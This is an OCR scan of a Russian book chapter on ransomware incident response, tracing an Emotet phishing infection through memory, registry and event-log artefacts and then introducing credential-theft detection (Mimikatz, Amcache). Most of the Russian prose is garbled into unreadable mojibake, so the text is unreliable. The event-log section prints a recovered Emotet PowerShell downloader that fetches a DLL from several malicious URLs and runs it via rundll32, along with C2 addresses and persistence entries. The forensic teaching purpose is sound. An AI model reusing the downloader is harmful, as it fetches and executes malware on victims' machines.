B2 BriMor Labs Windows Live Response Collection - 0O X

BriMor Labs Windows Live Response Collection Data Gathering Scripts

O Secure-Complete -- Choosing this option will gather a memory dump, volatile
data, and full disk image. Upon completion all data will be compressed and
password protected.

® Secure-Memory Dump - Choosing this option will gather a memory dump
and volatile data. Upon completion all data will be compressed and password
protected.

(O Secure-Triage -- Choosing this option will gather volatile data. Upon
completion all data will be compressed and password protected. SEOARREAKA

O Complete — Choosing this option will gather a memory dump, volatile data, and full disk image
O Memorv Dump -- Choosing this option will gather a memory dump and volatile data.
O Triage - Choosing this option will gather volatile data

Run Selected Windows Live Response Script

Licensel Questions? ] Aboutl

Puc. 8.6. 3anyck Live Response Collection

Ha 5TOoT pa3 HaM HY»KHO HE TOJILKO COOpaTh MEPBUYHBIC JAHHBIC C UICTOUHUKAMH PA3]IMYHBIX apTe(aKTOB, HO 1
clenaTh JJaMII SHEPTrO3aBUCHMOM IMaMsITH, YTOOBI UcciieoBaTh ero ¢ momomnieio Volatility Framework.

CoOpaHHbIe JaHHBIC TTOAIAI0T B ABE nanku — Forensicimages u LiveResponseData. O6pa3 naMsaTi HaXOgUTCS
B rmanke Forensiclmages. Temeps MbI TOTOBBI IPUCTYIIUTH K 3TAaly aHAIK3a.

PaccieaoBaHve GUIIMHIOBOM aTaKHU

Jlns u3ydeHus oopasa maMsITH, IToJaydeHHOro ¢ momotisio Live Response Collection, Mer Bocionb3yemcs
Volatility 3. Kak Mbl moMmHIM U3 T71aBBI 5 «TaKTUKW, TEXHUKH B TIPOLICAYPHI TPYIIII,

3aHUMAIOIIUXCS PACIPOCTPAHEHUEM TIPOTrPaMM-BBIMOTATEIICH», OJUH U3 CaMBIX TTOMYJISPHBIX METO/IOB,
MCITOJIb3YEMBIX BPEIOHOCHBIMHU IMpOrpaMMaMHi — HHBEKITHS B Mpoliecc. [[aBaiiTe HauHEeM ¢ caMoro MpOCTOTO,
3anyctuB mrarua malfind pis ananm3a o6pasza maMsITH.

8x10000000

Puc. 8.7. Yacte BeiBOa malfind

DTOT IUIaruH MOMOTAeT HAaWTH CKPBITHIN KOJ, BHEIPEHHBIN KOJ 1 KOJ B (popme OmdanoTek DLL, moaToMy oH
OYCHbB I10JIE3€H JIJISI 0OHAPYKEHUSI HHBEKIIUM B IPOIIECCHI.

C nmomompio malfind Mb1 m3BICKIIM HECKOJIBKO apTedakToB, HO CaMbIi HHTEPECHBIN 13 HEX uMmeeT PID 9772
cBs3aH ¢ rpoueccoM rundll32.exe. Cyns mo BEIXOAHEIM JTaHHBIM, 3TO, CKOpEE BCEro, MHbEKIM Koa. OOBIYHO
WT-cnenuanucThl 1 MIaAIINE aHATUTHKH CIYKOBI 0€30ITIaCHOCTH UTHOPUPYIOT JISTUTUMHEIN ¢aiir rundll32.exe,
HO €0 CJIICAYET TIIATEILHO IMPOBEPATH, ITIOCKOJILKY OH OUE€HBb YaCTO OKA3hIBACTCS MUIICHBIO 310 YMBIIIICHHUKOB.

JlaBariTe IpOAOJKHUM U IIPOBEPUM JIEPEBO MPOILIECCOB C MOMOIIIBLIO TIaruHa pPstree.

2 84 SYC .exe 2 7 - e alse 2021-11-1

False

Puc. 8.8. HacTph pe3ylbTaTOB 3aIycKa pstree

DTOT IJIarvH IOKa3bIBACT 3aIlyIleHHBIC IPOIECCHI B BUJIE AepeBa. Tenepb Mbl IOJYYUIIN 00JIbIIIe HH(POPMAITUU O
paccMaTprUBaEMOM IIpoliecce — y Hero 0bu1 poauTeabckuid mpouece ¢ PID 5952. K coxanenuto, nadopmaiyu o
nporuecce ¢ TakuM PID Het. Ho 3T0 He nmpo0biema — naBaiTe MOJI0MAEM C APYyrol CTOPOHbI. MBI MOkKeM



cobupars NH(GOPMAIIHMIO O MapaMeTpax KOMaHIHON CTPOKH IS KaXKJ0r0 IIPOIIecca ¢ MOMOIIBIO ITOIKIF0YaeMOT0
roraruga cmdline.

"C:\Users\CARPC\AppData\Local\Iqnmgm\jwkgphpg.euz™,Control_R
K JWRE 1

" Global\UsGthrFlt sGthrPipe3 Gl

; MSIE 6.0; W

3 792 800 8192 796 772

Puc. 8.9. Hacts BeiBOJ1a cmdline

Kaxk sugute, rundll32.exe ucrons3oBaics s 3amycka daiina 6e3 pacmmpenns .dll u co cmygaiino
CreHepHUpOBaHHBIM Ha3BaHueM — JWKgphpg.euz. Ouens mogo3putenbHo. KpoMe Toro, (aiir HaXxoauTCs B TanKe
CO CJIyYallHbIM HA3BaHUEM, a ITO €IIEe OJUH PACHPOCTPAHEHHBIN IPU3HAK BPEIOHOCHON AaKTUBHOCTH.

Teneps MbI mouTH yBepeHbI, 4To mpu oMoy rundll32.exe 6wt 3amyrieH BpenoHocHbIN (aiin. [lompodyem
BBISICHUTH, HET JIM TTOJ03PUTEIBHBIX CETEBBIX MOAKIIOUCHUM. JJIs M3BIIeUeHUS 3TOM nH(pOpMaIiu HaM HYKEH
IU1aruH netscan.

ForeignAddr

LIS
LISTEN

2021-11-16 ¢
2021-11-16 @

Puc. 8.10. YacTtp BBIBOIA netscan

[IepBblii To103pUTENbHBIN [P-aipec, koTopblii Mbl BUauM Ha pucyHke 8.10, — 81.0.236.93. JlaBaiite codbepem o
HeM 0oJbIe nHpopManuu, ucnob3ys rpad Group-IB.

Gra ph 81.0.236.93

e

81.0.236.93

Puc. 8.11. Ilogo3purensHsiii IP-agpec Ha rpade Group-1B

Kak Bugure, ¢ atum IP-agpecom cBsA3aHO MHOXKECTBO BPEAOHOCHBIX (pailnoB. I1{enKHYB MBIIIBIO OJWH U3 HUX, MbI
MOJYYHM €I1i€ 0O0JIbIIE MOAPOOHOCTENH. Y MEHUE MEHSTh YroJl 3pEHHUS M CONOCTABIIATh apTe(aKThl — OUYEHB
BAXXHBIM HABBIK JJI PACCIIEIOBAHUS UHIAICHTOB.



File details

e86945ed547f642291afcf2f5¢2112a0.virus,
a29889c96708%ae02845edd0b9547ebbbc9e6fa51268a21c0ac98f994e33bfaf.dll

@ SHA1 SHA256 SHA512

e86945ed547f642291afcf2f5¢2112a0

VirusTotal_Lastline, VirusTotal_VMRay, Tria

Puc. 8.12. Uudopmanus o BpenoHOCHBIX (painax Ha rpade Group-1B

Mpi1 Hain DLL-@daiin ¢ itMeHeM, O4€Hb ITI0X0KUM Ha UMs (haiiiia, KOTOpbIM Mbl 0OOHapyKuiIu paHee. Ckopee
BCET0, 3TO NMOX0x)ee BpeaoHocHoe [10.

JlaBaiiTe KOTHEM HEMHOTI'O TJIy0KE€ — BOCHOJIb3YEMCSl aHAJIMTUKOM. Tenepb y Hac €CTh HE TOJIBKO CETEBOM
UHIMKATOP, HO U xeml. KpoMe Toro, kak Bbl MOKETE BUJIETh HA pUCYHKE 8.12, 3TOT (pail1 JOCTYIICH Ha
VirusTotal. Haitgem ero mo noay4eHHOMY 3Ha4eHUIO xema (puc. 8.13).

(1) 49 security vendors and 1 sandbox flagged this file as malicious &
a29889¢c967089ae02845edd0b9547ebbbcebfas1268a21c0ac98f994e33bfaf 252.50 KB 2021-11-18 15:03:03 UTC Q
229889c9670892e02845edd0b9547ebbbcesfas1268a21c0ac981994e33bfaf.dll Size 1day ago DLL
g invalid-rich-pe-finker-version  pedil
D = @
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY °

)

Ad-Aware (D Trojen.GenericKD.47414957 AhnlLab-V3 (D Trojan/Win.BolX-yen.C4773567

Alibaba (1) Trojan:Win32/Emotet.a72a4b19 AlYac (D Trojan.Agent.Emotet

Avast @ Win32:BotX-gen [Trj] AVG @ Win32:BotX-gen [Trj]

Avira (no cloud) @ TR/Crypt.Agent.tdruf BitDefender @ Trojan.GenericKD.47414957

BitDefenderTheta @ Gen:NN.ZedlaF.34266.pqd@ayhOcbo Bkav Pro @ W32.AlDetect malware2

ClamAV @ Win.Malware.Generic-9909860-0 CrowdStrike Falcon @ Win/malicious_confidence_60% (W)

Cylance (D Unsafe Cynet (D Malicious (score: 100)

Cyren @ W32/Emolel. BDJ.genlEldorado DrWeb @ Trojan.Emolel. 113

eGambit () Unsafe.Al_Score_92% Elastic (D Malicious (high Confidence)

Puc. 8.13. Uudopmanusa VirusTotal o BperoHoCHBIX (haiiiax

IToxoxe, uTo 3T0 Emotet. HecmoTpst Ha To, 4TO €ro oneparopsl ObLIK apecToBaHbl (cM. T1aBy 1 «McTopus
COBPEMEHHBIX aTaK C MCIOJIb30BaHUEM IIpOrpamMM-BbIMOrarenei»), B Hosiope 2021 r. undppactpykrypa Emotet
Hayajia BOCCTAHABJIMBATHCS, © MHOTHE KOPIIOPAILIMU CHOBA CTOJIKHYJIMCH C €€ CIIaM-KaMITaHUSIMM.

HecMoTps Ha TO, UTO MBI UICHTU(MUITUPOBATIA CEMENCTBO BPEAOHOCHBIX IIPOrPaMM, JaBalTe KOITHEM eIlIe
rinyoxe. Hanpumep, nonpoOyem u3Biiedb 00JbllIe HHANKATOPOB U3 Netscan. Eciau npocMOTpeTh BbIBOI, MOYKHO
3aMETHUTh €I1ie OJUH I10103puTeabHbIl IP-anpec — 163.172.50.82. C atum agpecoM, KaKk NOKa3aHO HA PUCYHKE
8.14, Takke CBsI3aHO HECKOJIBKO BPEAOHOCHBIX (DaijIoB.

PaccMoTpuM oauH U3 HUX IToApoOHee (puc. 8.15).



Kak BuuTe, pe3ynbTaT O4EHb MOX0K Ha NPEAbIAYIIHM. /[aBaiiTe CHOBa BOCIIOJIbL3yeMcs xemeM Ha VirusTotal
(puc. 8.16).

CnoBa Emotet! O6a IP-agpeca, KOTOpbI€ MbI IIOJYYUIIH B PE3YJIbTaTe KPUMUHAIUCTUYECKOTO aHAIM3a IaMsTH,
CBSI3aHbI C BPEAOHOCHOW aKTUBHOCTBIO.

Tenepp n3yunm sHeprone3aBucuMbie JaHHbie. Live Response Collection 1mo3Bojinia HaM NOIy4YUTh HE TOJIBKO
00pa3 onepaTUBHOM ITaMSITH,
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Puc. 8.14. Ilogo3putensusiii IP-agpec Ha rpade Group-1B

File details

irst seen 2021.17.1¢ L ast seen 2021 11.16

30122fbb8d564d08d7739d20b1e3b970b7d4da5daeeb9f394978e42fe4f7311.bin, QzZSINGKKUPLSE.dII

@ SHAT SHA256 SHAS512

eacSeafalblc0aB8fed1658a00cadc1l

258560

PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit

VirusTotal ZenBox, VirusTotal_C2AE

Puc. 8.15. Uudopmanus o BpeamoHocHoM (aiiiie Ha rpade Group-IB

HO U MHO>K€CTBO MCTOYHHUKOB apTe(aKTOB, KOTOPbIE Mbl OOCYKJIAJIM B IIPEAbIAYIIEH ITIaBe, HaIpUMep (Qailiibl
TPACCUPOBKHU.

MBI yke 3HaeM, 4To uMeeM Jelio ¢ Emotet. 9ToT 60T 00BIYHO JOCTABIISETCS Yepe3 (DUIIMHIOBBIC AJICKTPOHHBIC
MKUChMa C BPEIOHOCHBIMM BIJIOKEHUSMHU, TAKUMH Kak JJOKyMeHThl Microsoft Word niu aiiekTpoHHbIE TaOJIMIIbI
Microsoft Excel.



(D 41security vendors flagged this file s maliclous o X
30122fbb8d564d08d7739d20b1e3b970b7d4daSdaeeb9f3941978e42fedf7311 252.50 KB 2021-11-17 14:32:24 UTC Q
30122fbb8d564d08d7739d20b1e3b970b7d4daSdaeebf3941978e 42fe4f731.bin Size 2 days ago DLL
D v @
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY
Ad-Aware @ Gen:Variant Zusy.407184 AhnlLab-V3 @ Trojan/Win.BotX-gen.C4773567
Alibaba @ Trojan:Win32/Emotetcrypt.b51d7¢c78 AlYac @ Gen:Variant.Zusy.407184
Avast (1) win32:Botx-gen [Trj] AVG () win32:Botx-gen [Trj}
BitDefender @ Gen:Variant. Zusy.407184 BitDefenderTheta @ Gen:NN.ZedlaF.34266.pq4@a0h5Wwk
Bkav Pro (1) W32AlDetect.malware2 ClamAV (1) Win.Malware.Generic-9909860-0
CrowdStrike Falcon (1) Winmalicious_confidence_60% (W) Cylance (1) Unsafe
Cynet @ Malicious (score: 100) Cyren @ W32/Emotet.BDJ.gen!Eldorado
Dr'Web @ Trojan.Emotet. 1113 Elastic @ Malicious (high Confidence)
Emsisoft (1) Gen:Variant.Zusy.407184 (B) eScan (1) Gen:Variant.Zusy.407184

Puc. 8.16. Madopmanmsa VirusTotal o BpemoHOCHBIX (paitinax

Eciau MBI TOCMOTpHM Ha coOpaHHBIC (haliiIbl, TO JIETKO HalaeM (ain TpaccupoBKu 11 Winword.exe. JaBatite
pa3zbepem ero ¢ nomorisio PECmd 1 mpoBepum (aitnbl, Ha KOTOPBIE €CTh CCHUIKHU.

\VOLUME{01d634c8366c2119-0a36866a}\USERS\CARPC\DOCUMENTS\DESKTOP.INI
\VOLUME{©1d634c8366c2119-0336866a } \USERS\CARPC\MUSIC\DESKTOP. INI
\VOLUME{©1d634c8366c2119-0a36866a}\USERS\CARPC\PICTURES\DESKTOP.INI
\VOLUME{©1d634c8366c2119-0a36866a}\USERS\CARPC\VIDEOS\DESKTOP. INI
\VOLUME{©1d634¢c8366c2119-0a36866a } \USERS\CARPC\DOWNLOADS\DESKTOP. INI
\VOLUME {01d634c8366c2119-0a36866a} \USERS\CARPC\ONEDRIVE\DESKTOP . INI
\VOLUME{©1d634c8366c2119-0a36866a } \WINDOWS\SYSWOW64\TWINAPI.DLL
\VOLUME{©1d634c8366c2119-0a36866a} \WINDOWS\FONTS\SEGOEUI.TTF
\VOLUME{©1d634c8366c2119-0a36866a } \WINDOWS\SYSTEM32\NORMNFKC.NLS
\VOLUME{@1d634c8366c2119-0a36866a} \WINDOWS\SYSTEM32\NORMIDNA.NLS
\VOLUME{©01d634c8366c2119-0a36866a} \USERS\CARPC\APPDATA\LOCAL\MICROSOF T\WINDOWS\INETCACHE\CONTENT .OUTLOOK\HYIFBKAC\FILE_245618061792856085525.DOCM
\VOLUME{091d634c8366c2119-0a36866a} \WINDOWS\SYSWOW64 \MSKEYPROTECT.DLL
\VOLUME{©1d634c8366c2119-0a36866a } \WINDOWS \SYSWOW64 \NCRYPTSSLP.DLL
\VOLUME{©1d634c8366c2119-0a36866a} \WINDOWS\SYSTEM32\RU-RU\CRYPT32.DLL .MUI
\VOLUME{©1d634c8366c2119-0a36866a} \WINDOWS\SYSTEM32\RU-RU\MSXML6R.DLL . MUI
\VOLUME{©1d634c8366c2119-0a36866a} \USERS\CARPC\SEARCHES\DESKTOP . INI

\VOI LIMF{A1d634cR3I66c2119-Aa36RARA F\IISFRS\CARPC\CONTACTS\NDFSKTOP . TNT
\VOLUME{©1d634c8366c2119-0a36866a}\USERS\CARPC\FAVORITES\DESKTOP.INI
\VOLUME{©1d634c8366c2119-0a36866a} \USERS\CARPC\LINKS\DESKTOP.INI
\VOLUME{©1d634c8366c2119-0a36866a} \USERS\CARPC\SAVED GAMES\DESKTOP.INI
\VOLUME{©1d634c8366c2119-0a36866a } \WINDOWS \SYSWOW64\FIREWALLAPI.DLL
\VOLUME{©1d634c8366c2119-0a36866a } \WINDOWS\SYSHOW64 \FWBASE .DLL
\VOLUME{©1d634c8366c2119-0a36866a } \USERS\CARPC\APPDATA\LOCAL\MICROSOFT\WINDOWS\INETCACHE\CONTENT .OUTLOOK\HYIFBKAC\FILE 24561806179285605525.DOCM:ZONE.IDENTIFIER

Puc. 8.17. Yacte BeiBOJ1a PECmd

OueHp HHTEPECHO — BO BPEMEHHOM Nanke, ucnoiab3dyemon Microsoft Outlook, nmeeTcst mo103puTeIbHbBIN
DOCM-aiin: xxepTBa, CKOpEe BCEro, NOIy4Yuia €ro no JIEKTPOHHOM MOYTE.

MB&I Takxe BUauM uMs noJib3oBaresisi — CARPC, mo3ToMy Tereps Mbl MOKEM IOJYUYUTH (Paili
peectpa NTUSER.DAT u u3Biieus naHHble, CBSI3aHHBIE C 3TUM I10JIb30BaTeeM, ¢ moMoIbio RegRipper.

[Ipexie BCcero, aHaM3upysl KUY peecTpa, XpaHsIIui CBEACHUS O ITOCIEIHUX OTKPBITBIX JIOKYMEHTAX, MbI
BUAMM, 4TO mogo3putesibHbIi DOCM-(alis OblT OTKPBIT I0JIb30BaTeaeM 16 Hosops 2021 r. B 08:49:55 no

[ puaBUUYy.

2021-11-16 08:49:55Z: C:\Users\CARPC\AppData\Local\
Microsoft\Windows\INetCache\Content.Outlook\HYIFBKAC\
FILE 24561806179285605525.docm (2021-11-16T11:49)

Eme oxna mHTEepecHas Haxoaka — 3HadeHue Jwkgphpg.euz B kimroue Software\Microsoft\Windows\Current-
Version\Run co ciaeayronMi JaHHBIMU.

C:\Windows\SysWOW64\rundll32.exe "C:\Users\CARPC\AppData\Local\
Ignmgm\jwkgphpg.euz",UvGREZLhKzae

BeIrmsgaaT 3HaKOMO, HE TIpaBAa JI? OTO MEXaHU3M 3aKPEIJICHUS B CUCTEME, MCTIOJIb3yeMbI Emotet!



Tenepp mpocMOTpUM KypHaJbl COOBITHN. Kak MBI yke 3HaeM, 3710 YMBIIIICHHUKHU 4acTO UCnoab3yroT PowerShell
JUIS 3arPY3KH C YIAJCHHBIX CEPBEPOB, MOATOMY IIPU PACCIICIOBAHUN (DUITMHTOBBIX aTaK HYKHO 00s3aTEJIbHO
ruccienoBaTh xxypHai coobsitiii Windows PowerShell.

J1eCTBUTENBHO, B JAHHOM JKYPHAJIE €CTh MHTEPECHAS 3aIUCh.

powershell $dfkj=$strs="http://visteme.mx/shop/wp-admin/PP/,
https://newsmag.danielolayinkas.com/content/nVgyRFrTE68Yd9s6/,
http://av-quiz.tk/wp-content/k6K/, http://ranvipclub.net/pvhko/a/,
https://goodtech.cetxlabs.com/content/5MfZPgP06/, http://devanture.
com.sg/wp-includes/XBByNUNWvIEvawb68/, https://team.stagingapps.
xyz/wp-content/aPIm2GsjA/".Split(","); foreach($st in $strs)
{$rl=Get-Random;$r2=Get-Random;$tpth="C:\ProgramData\"+3rl1+".d11";
Invoke-WebRequest-Uri $st-OutFile $tpth; if(Test-Path $tpth)
{$fp="C:\Windows\SysWowé64\rundll32.exe"; $a=S$tpth+", f"+Sr2; Start-
Process S$fp-ArgumentList $a; break;}};; IEX $dfkj

Yro 310 03Hauaet? PowerShell ncnons3oBanm s 3arpy3ku ¢ ogaoro n3 cemu URL-aapecoB, nepedncieHHbIX B
npeasayeM cieHapuu. [Iporpamma 6b11a coxpanena B C:\ProgramData oy cirygaliHeIM UMEHEM H 3aIlyIleHa
gepes rundll32.exe. Uro eme 6oiiee BayxHO, 3TO COOBITHE IMIPOU3OINIIO CPa3y IMOCIE TOTO, KaK ObLI OTKPHIT
nojjo3putenbHbii DOCM-darii.

[Toaseaem utoru. 16 nHoss6ps 2021 r. B 08:49:55 (UTC) nonwzoBarens CARPC oTKpblI Bpe1OHOCHBIM
nokymeHT FILE 24561806179285605525.docm, rmoaydeHHBIN UM 110 AIEKTPOHHOM mouTe. Ilocne oTKphITHs
JTOKYMEHTA M BKIIFOUCHHUS 3aLIMIICHHOTO coaepxkumoro 3amyctuiicss PowerShell ans 3arpy3ku u 3amycka Emotet
¢ ymaienHoro cepsepa. bor ckonuponai ceos B C:\Users\CARPC\AppData\Local\lgnmgm\jwkgphpg.euz u
obOecrieunI 3aKpeIIcHHe B CKOMIIPOMETHPOBAHHOM CHCTEME, 3alrcaB IyTh k ceoe B Software\Microsoft\-

Windows\CurrentVersion\Run. Jist ympaBiaeHHS 1 KOHTPOJISI MCIIOIB30BAIIMCh yIaJICHHBIE cepBephl ¢ IP-
anpecamu 81.0.236.93 u 163.172.50.82.

BBIBO ABI

B 3Tol ri1aBe Mbl paCCMOTpPEJIM JiBa OYEHBb PACITPOCTPAHEHHBIX METO/Ia, UCIIOJIb3YEMBIX OIlepaTOpaMu MPOTrpaMM-
BBIMOTATEJIEH IS MOJYUYEHHS IEPBOHAYAITBLHOTO JIOCTYIIA, — B3JIOM BHEIIHUX CIYKO YJAJICHHOIO JOCTYIA U
(DPUIITHHT.

Kak BuguTe, Ipu peKOHCTPYKIIUM BPEAOHOCHBIX JICMCTBUN MOKHO ONUPATHCS Ha Pa3IdYHbIC apTe(aKThl U3
BCEBO3MOHBIX HCTOYHUKOB — OT YHEPro3aBUCUMOM MaMATH A0 KypHaI0B coObITuil Windows. KpoMe Toro, Mbl
MO>KEM MCII0JIb30BaTh pa3IMYHbIC CPEICTBA COOpa JAHHBIX U (PUIBTPOBATH MOJIYYCHHBIC JAHHBIE. DTO OYCHB
Ba)XKHO, OCOOCHHO KOT'Ja HY>)KHO COOMpaTh U aHAIM3UPOBATh JAHHBIE C HECKOJIBKHUX XOCTOB OJJHOBPEMEHHO.

KoHeuyHo, nnepBOHAYAILHBINA JOCTYIl — 3TO TOJBKO HAYAJIO aTAKU C UCIIOJIBb30BAHUEM IIPOTPAMMBI-BBIMOTATEN S,
MOATOMY CITEIIUAIMCTAM 10 pearupoOBaHUIO HA UHIIAJICHTHI HY’)KHO YMETh OOHApy>KUBaTh MHOKECTBO JPYTUX
YIIUK.

B cnez[y}omeﬁ I'’'mraBC MbI COCPCAOTOUYHMMCA HA PA3JIMIHBIX I[GﬁCTBPIHX ITOCTOKCINIYaTallu, TAKHUX KdK CCTCBAA
pa3BC€AKa U JOCTYII K YUCTHBIM J1dHHbBIM.

[naBa 9

METO/IbI
NOCTAKCILIYATALIUM

J171s1 37I0yMBIIIJICHHUKA TIEpBOHAYAIbHBIA JOCTYIT — 3TO JIMIIb NepBhIi mar. Koraa-To 1neiabto atak ObLIo
HeMeIJIEHHOE IH(POBaHUE EPBOIO K€ B3JIOMAHHOI'O XOCTa, HO TEEPbh MHOTUE ONEPaATOPhl IPOrpaMM-
BBIMOTATEJIEN YACISAOT BHUMAHUE MTOCTIKCILIYATAI[MM, B IIPOLIECCE KOTOPOHU MOKET MPOUCXOIUTH MTOBBIILIEHUE
NPUBHUIIETHM, JOCTYI K YYETHBIM JIAaHHBIM, Pa3BeJKa U Apyrue JAeHCTBUS, 00CCIICUNBaIOIINE KOHTPOIb BCEH CETH
1 MMO3BOJISIONIME U3BJICUb CaMble IICHHbBIC JaHHBIC U 3alIM(ppOBaTh KaK MOKHO 00JbIle XxocToB. Kpome Toro,



ITOCKOJIbKY MHOTHE 3JI0YMBIIIJICHHUKN TAK)KE 3aHUMAIOTCSI KPAKEW JTAaHHBIX, OHU CTPEMSITCA OCTaBaThCS B CETH
KaK MO>KHO JOJIBIIE, YTOOBI KIMETh BO3MO>KHOCTh ITOJIYYUTh HauOoJIee BayKHbIEC JaHHBIC. 110 TOM Xe MpUYrHE UM
MOT'YT ITOHAJIOOUTHCS JOIOJIHUTEIBHBIC JTa3€MKH — HAapUMeEp, JICTUTUMHOE IIPOrpaMMHOE 00€CIICUCHHUE IS
yAAJICHHOT'O JOCTYIIA.

Kak BbI y3HQIM U3 T71aBbl 5 « TaKTUKH, TEXHUKU U TPOLIEAYPHI TPYIIIL, 3aHUMAIOIIAXCA PACTTPOCTPAHEHUEM
IporpamMM-BbIMOTaTENICH», HAN00JIee PACIIPOCTPAHEHHBIC ICHCTBUS MOCTAIKCITyaTallui — 3TO JOCTYII K
YYETHBIM JAaHHbBIM, PA3BEAKA U, KOHEUYHO XK€, TOPU3OHTAIBLHOE IIEPEMELLIEHUE 110 CETHU.

B 3Tol ri1aBe MbI COCPEIOTOYMMCS Ha IU(PPOBBIX KPUMUHATMCTUYECKUX apTe(aKTax, KOTOPHIE MO3BOJISIIOT
PEKOHCTPYHUPOBATH JICMCTBUS ONEPATOPOB MPOTPAMM-BBIMOIaTEICH HA 3TUX TPEX ATAlaX )KU3HEHHOT'O ITUKJIa
aTaKH.

MsbI U3Yy4YUM pa3/IMYHbIE METO/AbI, KOTOpPhIE
HUCII0JIb3YIOTCA JIMIAMHU, CBA3AHHBIMHU C OAHOHU U3
Haub60Jiee aKTUBHBIX I'PYINIUPOBOK —
nporpaMMou-BbeiMoraresieMm Conti, 1 06Cyaum
cJeAyoliue TeMbI:

. MI3yyeHne meTo40B A0OCTYNA K Y4ETHbIM AaHHbIM.
. 3yyeHne metonoB pasBeakKku.
. MI3yyeHne meTo40B ropm3oHTa/IbHOro NepemeLlLeHmnsa no ceTu.

N3yyeHue MeTOJ0B A0CTYNA K YY4E€THbIM JaHHbIM

YT00BI HaAYaTh TOPHU3OHTAILHOE IIEPEMEILICHHE 10 CETH, OIIEPaTOPhI IPOrPaMMBbI-BEIMOTaTEs JIOJKHBI TTOJIYIUTh
IPUBUJIETUPOBAHHBIC YUeTHBIC JJaHHbIE. CyIIECTBYET PsJi HOMYJISIPHBIX METOA0B, UCIIOJb3YEeMbIX
3JI0YMBIIUICHHUKAME IS PEIICHUS 3TOH 3amaun. Hampumep, oHM MOT'YT cO37aTh JaMIT HaMsaTH Iporecca Local
Security Authority Subsystem Service (LSASS) s n3BliedeHUs YICTHBIX JaHHBIX WU IIPOBECTH aTaKy
Kerberoasting. J/laBaliTe mMOCMOTpUM, KaK aHaIU3 HU(POBBIX YIMK MOMOTaeT HaM OOHAPYKUTh 3TH METOJIbI.

,[[aMl'l VHECTHbBIX JdHHbBIX C IOMOIIbI0 XdKEPCKUX HHCTPYMEHTOB

Kak BbI yke 3HaeTe, caMblil MONYJISPHBIA MHCTPYMEHT JIJIS1 KPaykKM YYETHBIX JaHHBIX — IpecoByThIM Mimikatz,
pa3paboTaHHBIN U TTOJJiepkMBaeMblid benxkamMmuuom lennu. OH HACTOJIBKO IIUPOKO PACIIPOCTPAHEH, YTO
OOBIYHO €r0 MOXKET OOHAPYKUTh U YIAIUTh JaXXe CTaHJIapPTHOE aHTUBUPYCHOE MporpaMMHoe obecrnieueHue. Ho,
KaK [PAaBUJIO, 3JIOYMBIIUIEHHUKN JIEAKTUBUPYIOT BCTPOEHHBIE AHTUBUPYCHI, UTO JAET BO3MOKHOCTh HEKOTOPHIM
orepaTopam IIporpaMM-BbIMOraTesieli MpocTo 3arpykath Mimikatz Ha CKOMIIPOMETUPOBAHHBIN XOCT C
obunuranbHoi ctpanuibl GitHub.

mimikatz

mimikatz is a tool I've made to learn € and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can
also perform pass-the-hash, pass-the-ticket or build Golden tickets.

g2 22 mimikatz 2.8 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03)
LB N #E

## / \ ## Jx * =
#h O\ / ## Benjamin DELPY "gentilkiwi  ( benjamin@gentilkiwi.com )

"#4 v # https://blog.gentilkiwi.com/mimikatz (ce.e0)

‘Hadag’ with 13 modules * * */

Puc. 9.1. Onucanne Mimikatz co crpanunsl GitHub



Hcxonnyro Bepcuto Mimikatz gerko oOHapy»KuUTh, HO Mbl CTAJIKMBAEMCSI CO MHOKECTBOM MOJIM(PUIIMPOBAHHBIX
Bepcun, HanpuMep Invoke-Mimikatz, Pypykatz, SafetyKatz u ap. Bam Tak:ke MOTyT BCTpETUTBCA
aganTAPOBAHHBIC 3JIOYMBINIJICHHUKAMU BEPCHUU, KOTOPbIE OOHAPYKUTH €IIIE CIOKHEE.

BaxHO Tak)ke y4UTBIBaTh, UTO B OOJBIIMHCTBE CIy4aeB BBl HEe yBUAUTE (aiiya ¢ umeHeM mimikatz.exe (xors,
KOHEYHO, OBIBAIOT M MCKIIFOUEHHMS ) — CKOpee 3To OyaeT mimi.exe, m.exe vim X64.exe. Takue HeoObBIYHBIS
Ha3BaHUS BPEAOHOCHBIX MCIOJIHAEMBIX (DAlJIOB MOTYT JIaTh BaM BaKHBIE TOUKH OIOPBI BO BPEMS paccCieI0OBaHMS.
boJiee TOro, O4eHb 4aCTO MOJIB30BATENN MPOTPAMM-BBIMOTATENIEN MTPOCTO YIAISIOT MHCTPYMEHTBI, KOTOPBIE OHU
MCIIOJIb30BAJIM BO BPEMSI ITOCTIKCILTYaTAI[MH, TTO3TOMY BaM, BO3MOXKHO, IIPUAETCS COCPENOTOUYUTHCA Ha
KpUMHHAJIUCTUYECKUX apTe(aKTaxX, yKa3blBalOIMX Ha X 3ammyck, Hanpumep UserAssist, Shimcache, Amcache,
Prefetch u 1.1.

JlaBaiiTe monpoOyemM HalTH JOKA3aTEIbCTBA BBIOJIHEHHUS MMPOTPaMM JAMITMHTA YYETHBIX JaHHBIX HAOJ00HE
Mimikatz. O4eHpb XOpOmKi HHCTPYMEHT TSI PEMICHUs 3TOM 3a1aun — Amcache, MOCKOJIbKY B HEM
COXPaHSIIOTCSI HE TOJIbKO BPEMEHHBIE METKH BBIITOJHEHMS, HO TAK)KE METaJlaHHbIC U aaxe xemu SHA1, nostomy
MBI MOEM HJICHTU(PUIIUPOBATh UCIIOJIHAECMBIN (pailyl, JaKe €CJIM OH ObLI NEPEUMEHOBAH U YIAJICH.

Jlanasie 3 Amcache.hve ussnekarorcs, Hanpumep, ¢ momornibio AmcacheParser.

\}1.’\} Full Path

0 0

64cd6dc111ba59b11923e2ec26825c75eebab7aa c: \windows\systen32\devicecensus.exe

2601111eb7d1c1580de387c514d4b5Fe2f3a7872 <:\windows\explorer.exe

1d361c732509e6e5023e8dd57bf02ccb7c99d8fb <: \windows\systen32\musnotification.exe

2d7dalc3bfad755baBefec5317260d4239cbb51¢3 ¢:\users\iecuser\appdata\local\nicrosoft\onedrive\onedrive exe
2¥f16121185b65716ade6b895127d561299e7cafe c:\users\iecuser\appdata\local\microsoft\onedrive\update\onedrivesetup. exe
49818ce7a23e2¢58231761614050142fdd95b22¢ ¢: \windows\systen3d2\securityhealthservice. exe

332a88655f38d218c6e07888157117680ec@B82bf c:\windows\winsxs\amd64 microsoft-windows-servicingstack 31bf3856ad364e35 10.0.17763.1 none_fa254b2elf7
9f927926440040f493342ecA535F65bF422555ed c: \windows\systen32\wuauclt.exe

